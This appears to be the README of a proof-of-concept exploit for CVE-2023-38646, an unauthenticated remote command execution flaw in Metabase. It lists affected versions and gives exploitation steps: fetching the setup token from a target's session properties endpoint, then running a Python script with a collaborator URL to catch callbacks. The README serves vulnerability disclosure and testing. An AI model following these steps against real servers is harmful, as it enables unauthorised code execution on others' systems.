CVE-2023-38646 - Metabase Pre-auth RCE

Metabase open source before 0.46.6.1 and Metabase Enterprise before 1.46.6.1 allow attackers to execute arbitrary commands on the server, at the server's privilege level. Authentication is not required for exploitation. The other fixed versions are 0.45.4.1, 1.45.4.1, 0.44.7.1, 1.44.7.1, 0.43.7.2, and 1.43.7.2.

PoC Steps

1. Navigate to http://vulnerablehost.com/api/session/properties

2. Identify "setup-token"

3. Get a collaborator url (Tested with BurpSuite)

4. Run the PoC Script with:

• -u - Target URL
• -t - Setup token
• -c - Collaborator url
• python3 CVE-2023-38646.py -u <target> -t <setup-token> -c <collaborator-url>

5. Check your collaborator for any callbacks

References

• https://www.metabase.com/blog/security-advisory
• https://blog.calif.io/p/reproducing-cve-2023-38646-metabase
• https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/